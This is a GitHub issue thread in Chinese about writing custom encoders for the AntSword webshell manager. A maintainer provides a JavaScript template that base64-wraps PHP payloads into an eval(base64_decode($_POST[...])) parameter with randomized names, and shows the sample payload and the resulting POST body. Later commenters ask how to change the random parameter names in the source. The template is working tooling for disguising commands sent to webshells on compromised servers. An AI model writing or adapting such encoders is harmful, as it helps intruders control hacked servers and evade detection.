Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

关于编码器开发的文档 #102

Closed
i-liberty opened this issue Nov 12, 2018 · 7 comments
Closed

关于编码器开发的文档 #102

i-liberty opened this issue Nov 12, 2018 · 7 comments

Comments

@i-liberty
Copy link

关于编码器开发 作者能否给出一个文档用来参考

@Medicean
Copy link
Collaborator

文档的话,正在抽空写,如果你急的话我给你先大概讲一下,这是个样例:

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = new Buffer(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

要点:

  1. 两个 #### 之前写自己的 js 代码就行了,没有什么限制

  2. return 的 data 是一个 map 类型的,对应着 post 数据部分的内容,会转成key=value&key2=value2 这种形式发送出去。

比如:

框架传入的 pwd 为 ant, 传入的 data 内容如下:

{
    "_": "@ini_set("display_errors", "0");@set_time_limit(0);echo "->|";phpinfo();echo "|<-";die();"
}

然后将 data["_"] 的内容转成 base64 编码的内容,放到 data[randomID] 里,再构造 data[pwd]

最后返回的 data 结构如下:

{
 "_0x0323638de7aca": "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiLT58IjtwaHBpbmZvKCk7ZWNobyAifDwtIjtkaWUoKTs=",
 "ant": "eval(base64_decode($_POST[${randomID}]));"
}

最终调用 HTTP 发送的时候,POST 包数据部分为:

ant=xxxxx&_0x0323638de7aca=yyyyy

@timwhitez
Copy link

想问一下。如果想修改post包中的命令部分编码方式(随机字符名),如何修改

@timwhitez
Copy link

想问一下。如果想修改post包中的命令部分编码方式(随机字符名),如何修改

找到了,在antSword-2.1.3\source\core\base.js文件内的base64加密字段

@Medicean
Copy link
Collaborator

Medicean commented Jul 5, 2019

@timwhitez
Copy link

以 PHP 为例:
https://github.com/AntSwordProject/antSword/blob/master/source/core/php/index.js#L66-L73

问一下,如果想修改数据包里0x开头的这个参数名要在哪个文件修改呢

@Medicean
Copy link
Collaborator

Medicean commented Jul 6, 2019

@ljycrystal
Copy link

编码器的结构好像影响了密码不能为下划线“_”,虽然用点号“.”可以来代替,但是这种行为感觉很怪

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants